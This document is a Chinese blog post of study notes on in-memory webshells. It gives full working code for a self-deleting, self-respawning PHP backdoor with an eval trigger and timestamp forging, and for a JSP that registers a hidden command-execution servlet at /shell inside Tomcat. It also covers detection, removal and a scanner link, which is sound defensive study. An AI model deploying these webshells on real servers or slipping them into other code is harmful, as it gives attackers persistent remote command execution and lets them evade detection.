内存马学习

内存马介绍

webshell的变迁过程大致如下所述:

web服务器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马

 

内存马是无文件攻击的一种常用手段,传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,内存马使用越来越多。

传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地。

PHP内存马

<?php 
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2021-8-11 12:45:00" . 2.php');
    usleep(5000);
} 
?>
ignore_user_abort(true):函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。
set_time_limit():函数限制脚本的执行时间(如设置5则需在5秒内执行完)。这里设置为0是指没有时间限制。
unlink(FILE):删除文件本身,以起到隐蔽自身的作用。
while:循环内每隔usleep(5000)即写新的后门文件
system():执行的命令用于修改文件的创建或修改时间,touch新建一个不存在的文件,-m仅修改时间,-d使用想要修改的时间而不是当时的时间,可以绕过“find –name ‘*.php’ –mmin -10”命令检测最近10分钟修改或新创建的PHP文件,但不一定有用,可选。

当这个webshell传到服务器时,此文件会自动执行。然后生成一句话木马。把不死马删除后会自动生产

如何查杀:

1.重启服务。因为内存马是在进程当中,所以直接重启

2.删除并且创建一个和不死马要生成的马名字一样的路径和文件

3.kill

4.竞争删除

java内存马

背景知识

javaweb三件套

https://blog.csdn.net/xiaojie119120/article/details/73274759

Tomcat

https://blog.csdn.net/LeBronJJJ/article/details/99247854

​其实我们只需要在请求过程中最手脚,在内存中修改已有的组件或者注册一个新的组件,插入恶意的shellcode,就可以达到目的

根据内存马注入的方式,大致可以将内存马划分为如下两类

1.servlet-api型
通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如spring的controller内存马,tomcat的valve内存马

2.字节码增强型
通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。

​ 下面的代码先是创建了一个恶意的servlet,然后获取当前的StandardContext,然后将恶意servlet封装成wrapper添加到StandardContext的children当中,最后添加ServletMapping将访问的URL和wrapper进行绑定。
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>

<%
    // 创建恶意Servlet
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {

        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {

        }
    };

    %>
<%
    // 获取StandardContext
    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

    // 用Wrapper对其进行封装
    org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
    newWrapper.setName("jweny");
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());

    // 添加封装后的恶意Wrapper到StandardContext的children当中
    standardCtx.addChild(newWrapper);

    // 添加ServletMapping将访问的URL和Servlet进行绑定
    standardCtx.addServletMapping("/shell","jweny");
%>

 

应急响应

既然在内存里,那就重启、检查代码

https://github.com/c0ny1/java-memshell-scanner   java内存马检测

posted @ 2023-04-07 21:38  木易同学  阅读(224)  评论(0编辑  收藏  举报